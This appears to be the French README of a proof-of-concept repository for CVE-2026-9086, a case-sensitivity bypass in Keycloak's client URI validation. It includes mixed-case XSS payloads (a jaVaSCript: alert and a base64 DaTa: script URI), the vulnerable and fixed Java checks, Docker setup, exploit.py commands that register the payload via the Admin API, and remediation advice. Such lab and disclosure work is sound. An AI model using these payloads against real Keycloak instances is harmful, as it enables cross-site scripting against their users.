
CVE-2026-9086 preuve de concept pour le contournement de la validation d'URI client de Keycloak à l'aide de payloads XSS javascript: et data: en casse mixte, avec vérification via Docker des versions vulnérables et corrigées.
Ce dépôt contient une preuve de concept (PoC) de la vulnérabilité de Cross-Site Scripting (XSS) CVE-2026-9086 dans la validation des URI de client de Keycloak.
Keycloak dans sa version vulnérable validait les schémas javascript: et
data: des URI configurées pour les clients en distinguant les majuscules et
minuscules. Par conséquent, une notation mixte comme jaVaSCript: ou DaTa:
permet de contourner la validation des schémas interdits. Comme les navigateurs
interprètent les schémas d'URI sans tenir compte de la casse, le clic d'une
victime sur un lien piégé peut entraîner l'exécution de JavaScript dans
l'origine de Keycloak.
Ce PoC démarre Keycloak 26.6.3 (version vulnérable) et 26.6.4 (version corrigée) dans Docker, puis enregistre la même URI en notation mixte via l'API REST Admin. Il vérifie que l'enregistrement aboutit sur la version vulnérable et qu'il est rejeté avec une erreur HTTP 400 sur la version corrigée.
Ce PoC n'ouvre pas l'URI enregistrée dans un navigateur et n'exécute aucun JavaScript.
Ce projet est destiné uniquement à des fins éducatives et à des tests de sécurité autorisés. Ne l'utilisez pas pour tester sans autorisation un environnement Keycloak tiers. L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages ou d'actes illégaux.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client ou accès au point de
terminaison d'enregistrement des clientsLe DefaultClientValidationProvider avant correction comparait les schémas
interdits avec String.equals().
if (uri.getScheme() != null
&& (uri.getScheme().equals("data")
|| uri.getScheme().equals("javascript"))) {
// reject
}
Comme java.net.URI#getScheme() conserve la casse de l'entrée, les URI
suivantes ne correspondent pas à la comparaison et passent la validation.
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
Dans la version corrigée, equalsIgnoreCase() est utilisé.
if (uri.getScheme() != null
&& (uri.getScheme().equalsIgnoreCase("data")
|| uri.getScheme().equalsIgnoreCase("javascript"))) {
// reject
}
Démarrez la version vulnérable et la version corrigée avec Docker Compose.
docker compose up -d
Services démarrés :
| URL | Version | Résultat attendu |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | Enregistrement de l'URI réussi (vulnérable) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400 (corrigé) |
Le premier démarrage prend un peu de temps. Vous pouvez vérifier l'état avec la commande suivante.
docker compose logs -f
Lorsque Listening on apparaît dans les deux journaux, quittez l'affichage des
journaux avec Ctrl+C.
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
Sortie attendue :
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
Le script récupère également le client créé via l'API Admin et vérifie que l'URI piégée a bien été enregistrée.
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
Sortie attendue :
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data:Avec --scheme data, vous pouvez vérifier une URI DaTa: en notation mixte.
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
exploit.py effectue uniquement les opérations suivantes.
admin-clijaVaSCript: ou DaTa: en notation mixte dans
redirectUris/admin/realms/master/clientsAucun navigateur n'est lancé, aucune navigation vers l'URI enregistrée et aucune exécution de JavaScript n'est effectuée.
Mettez à jour Keycloak 26.6 vers 26.6.4 ou version ultérieure et les Red Hat build of Keycloak 26.4 vers 26.4.13 ou version ultérieure.
Auditez également les configurations d'URI des clients existants et supprimez
toute valeur utilisant javascript: ou data:, quelle que soit la casse.
Limitez également au strict minimum la permission manage-client et l'accès
au point de terminaison d'enregistrement des clients.